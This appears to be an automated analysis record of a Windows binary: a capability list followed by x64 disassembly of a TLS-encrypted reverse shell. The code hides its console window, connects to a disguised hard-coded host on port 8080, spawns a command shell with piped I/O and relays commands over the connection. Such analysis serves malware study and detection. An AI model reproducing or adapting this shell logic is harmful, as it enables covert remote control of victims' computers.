Function at 0x140001130
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Initialize winsock library
Read file on windows
Read pipe
Resolve dns
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x130
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14001b010]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor r15d, r15d
mov dword [rsp + 0x78], r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp - 0x80], 0x405d5061
mov dword [rbp - 0x7c], 0x1e074a4b
mov dword [rbp - 0x78], 0x5a7e050a
mov word [rbp - 0x74], 0x5c54
mov dword [rbp - 8], 0xb120720
mov byte [rbp - 4], reloc.WS2_32.dll_inet_addr
mov dword [rbp - 0x70], 0x2000023
mov byte [rbp - 0x6c], 0x15
mov dword [rsp + 0x78], 0xb1d0d7e
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8d, [r15 + 0xe]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x28]
call fcn.140001010
nop
mov ecx, 0x202
lea rdx, [0x14001cd60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001234
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000122a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001225
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001be7
call fcn.140002ab4
mov eax, 1
jmp 0x140001a62
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8d, [r9 + 6]
mov r14d, 1
mov edx, r14d
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001cd28], rax
cmp rax, 0xffffffffffffffff
je 0x140001a25
lea rcx, str.repo_centos_webtatic.serveftp.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [0x14001cf68], rax
mov word [rbp - 0x80], di
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x7c], eax
mov ecx, 0x1f90
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x7e], ax
lea r8d, [r14 + 0xf]
lea rdx, [rbp - 0x80]
mov rcx, qword [0x14001cd28]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001a11
xor edx, edx
mov ecx, 0x200002
call qword [sym.imp.libssl_3_x64.dll_OPENSSL_init_ssl]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.libssl_3_x64.dll_OPENSSL_init_ssl]
xor edx, edx
lea ecx, [rdi + 0xa]
call qword [sym.imp.libcrypto_3_x64.dll_OPENSSL_init_crypto]
call qword [sym.imp.libssl_3_x64.dll_TLS_method]
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_new]
mov qword [0x14001cd20], rax
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_new]
mov qword [0x14001cd50], rax
mov edx, dword [0x14001cd28]
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_set_fd]
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_connect]
cmp eax, 0xffffffff
je 0x140001a04
lea r8d, [r14 + 0x1f]
lea rdx, str.Client_Connected._Press_Enter_r_n
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_write]
xor edx, edx
mov r8d, 0x1000
lea r12, [0x14001dfa0]
mov rcx, r12
call fcn.1400040d0
mov r8d, 0x1000
mov rdx, r12
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_read]
cmp eax, 0xffffffff
je 0x140001a04
mov dword [0x14001cd30], 0x18
mov dword [0x14001cd40], r14d
mov qword [0x14001cd38], r15
xor r9d, r9d
lea r8, [0x14001cd30]
lea rdx, [0x14001df70]
lea rcx, [0x14001df78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [0x14001cd30]
lea rdx, [0x14001cd58]
lea rcx, [0x14001df98]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea r8d, [r14 + 4]
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x68]
call fcn.140001010
nop
lea r8d, [r14 + 4]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x48]
call fcn.140001010
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x50]
call fcn.140001df0
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140001d60
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001459
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001454
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bed
call fcn.140002ab4
mov r8d, 4
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140001010
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140001d60
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400014b7
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bf3
call fcn.140002ab4
xor edx, edx
lea r8d, [rdx + 0x68]
lea rbx, [0x14001cf00]
mov rcx, rbx
call fcn.1400040d0
mov dword [0x14001cf00], 0x68
mov dword [0x14001cf3c], 0x101
mov rax, qword [0x14001df98]
mov qword [0x14001cf50], rax
mov rax, qword [0x14001df70]
mov qword [0x14001cf58], rax
mov qword [0x14001cf60], rax
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, r15d
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x50]
call fcn.140001df0
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140001d60
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000156d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001567
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bf9
call fcn.140002ab4
nop
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
mov dword [rsp + 0x78], edi
mov rdx, qword [rbp - 0x58]
test rdx, rdx
jne 0x14000159b
mov qword [rsp + 0x60], rdx
mov word [rsp + rdx*2 + 0x50], r15w
jmp 0x1400015cf
cmp rdx, 7
ja 0x1400015c2
mov qword [rsp + 0x60], rdx
test rdx, rdx
je 0x1400015ba
movzx eax, r15w
lea rdi, [rsp + 0x50]
mov rcx, rdx
rep stosw word [rdi], ax
mov word [rsp + rdx*2 + 0x50], r15w
jmp 0x1400015cf
mov r9, rdx
lea rcx, [rsp + 0x50]
call fcn.140001fa0
lea r9, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae r9, qword [rbp - 0x68]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
inc r8
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x70]
call fcn.140006a00
mov rdx, qword [0x14001ba18]
cmp rdx, 8
jb 0x14000164e
mov rcx, qword [0x14001ba00]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140001649
add rdx, 0x27
mov rdi, qword [rcx - 8]
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001bff
mov rcx, rdi
call fcn.140002ab4
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [0x14001ba00], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x14001ba10], xmm1
lea rdx, [0x14001ba00]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 8
cmovae rdx, rcx
lea rcx, [rbp]
sub rcx, rdx
nop dword [rax + rax]
movzx eax, word [rdx]
mov word [rcx + rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140001690
lea rax, [0x14001df80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [0x14001cd4c], r14d
cmp qword [0x14001cd28], 0xffffffffffffffff
je 0x14000196d
lea r13, [0x14001cd48]
lea rdi, [0x14001cf71]
lea rbx, str.cmd_n
lea rdx, [0x14001cef8]
mov rcx, qword [0x14001df80]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [0x14001cef8], 0x103
jne 0x140001c1d
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x1000
lea rcx, [0x14001cf70]
call fcn.1400040d0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001df78]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [0x14001cd4c], 0
je 0x140001846
mov qword [rsp + 0x20], r15
mov r9, r13
mov r8d, 0x1000
lea rdx, [0x14001cf70]
mov rcx, qword [0x14001df78]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001846
test esi, esi
jne 0x1400017d2
mov edx, r15d
mov rax, rdi
mov ecx, dword [0x14001cd4c]
nop word [rax + rax]
cmp byte [rax - 1], 0x50
jne 0x1400017c3
cmp byte [rax], 0x53
cmove ecx, r15d
mov dword [0x14001cd4c], ecx
inc edx
inc rax
cmp edx, 0x1000
jb 0x1400017b0
jmp 0x1400017d9
mov dword [0x14001cd4c], r15d
mov r8d, dword [0x14001cd48]
lea rdx, [0x14001cf70]
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_write]
xor edx, edx
mov r8d, 0x1000
lea rcx, [0x14001cf70]
call fcn.1400040d0
mov dword [0x14001cd48], r15d
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001df78]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [0x14001cd4c], 0
jne 0x140001770
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x14001cd4c], 0
jne 0x140001954
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
call fcn.1400040d0
mov r8d, 0x1000
mov rdx, r12
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_read]
mov r8d, eax
test eax, eax
jle 0x140001a8f
mov rdx, r15
lea rax, str.Sexit_n
nop dword [rax]
movzx ecx, byte [r12 + rdx]
inc rdx
cmp cl, byte [rax + rdx - 1]
jne 0x1400018ba
cmp rdx, 7
je 0x140001b6f
jmp 0x1400018a0
mov rax, r15
nop dword [rax]
movzx ecx, byte [r12 + rax]
inc rax
cmp cl, byte [rbx + rax - 1]
jne 0x1400018d8
cmp rax, 5
jne 0x1400018c0
cmp cl, byte [rbx + rax - 1]
cmove esi, r14d
mov ebx, esi
mov rcx, r15
lea r13, str.exit_n
nop dword [rax + rax]
movzx edi, byte [r12 + rcx]
inc rcx
movzx eax, byte [rcx + r13 - 1]
sub edi, eax
jne 0x140001908
cmp rcx, 6
jne 0x1400018f0
mov qword [rsp + 0x20], r15
lea r13, [0x14001cd48]
mov r9, r13
mov rdx, r12
mov rcx, qword [0x14001cd58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
call fcn.1400040d0
mov dword [0x14001cd4c], r14d
mov esi, r15d
test edi, edi
cmovne esi, ebx
lea rdi, [0x14001cf71]
lea rbx, str.cmd_n
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x14001cd28], 0xffffffffffffffff
jne 0x140001701
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400019a8
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c05
call fcn.140002ab4
movdqa xmm0, xmmword [0x1400185e0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400019f4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c7b
call fcn.140002ab4
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rcx, qword [0x14001cd20]
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_free]
mov rcx, qword [0x14001cd28]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140001a60
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b69
call fcn.140002ab4
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400027a0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140001aca
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c0b
call fcn.140002ab4
movdqa xmm0, xmmword [0x1400185e0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140001b16
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c11
call fcn.140002ab4
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140001b61
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c17
call fcn.140002ab4
mov eax, r14d
jmp 0x140001a62
call fcn.140006c54
nop
mov r8d, 0x1a
lea rdx, str.Exiting_Shell._Goodbye._r_n
mov rcx, qword [0x14001cd50]
call qword [sym.imp.libssl_3_x64.dll_SSL_write]
mov rcx, qword [0x14001cd20]
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_free]
mov rcx, qword [0x14001cd28]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [0x14001cf00]
call fcn.1400040d0
xor edx, edx
mov r8d, 0x1000
lea rcx, [0x14001cf70]
call fcn.1400040d0
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
call fcn.1400040d0
xor ecx, ecx
call fcn.140006624
nop
call fcn.140006c54
nop
call fcn.140006c54
int3
call fcn.140006c54
int3
call fcn.140006c54
nop
call fcn.140006c54
nop
call fcn.140006c54
int3
call fcn.140006c54
nop
call fcn.140006c54
nop
call fcn.140006c54
nop
mov rcx, qword [0x14001cd20]
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_free]
mov rcx, qword [0x14001cd28]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [0x14001cf00]
call fcn.1400040d0
xor edx, edx
mov r8d, 0x1000
lea rcx, [0x14001cf70]
call fcn.1400040d0
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
call fcn.1400040d0
xor ecx, ecx
call fcn.140006624
nop
call fcn.140006c54
int3